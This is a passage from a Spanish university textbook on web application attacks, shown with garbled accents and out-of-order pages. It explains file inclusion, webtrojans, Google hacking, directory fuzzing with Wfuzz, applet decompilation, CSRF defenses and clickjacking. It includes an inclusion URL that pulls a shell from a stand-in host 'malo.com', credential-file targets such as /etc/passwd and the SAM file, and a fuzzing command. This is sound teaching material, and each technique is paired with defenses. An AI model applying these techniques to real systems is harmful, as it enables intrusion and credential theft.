Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 21: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

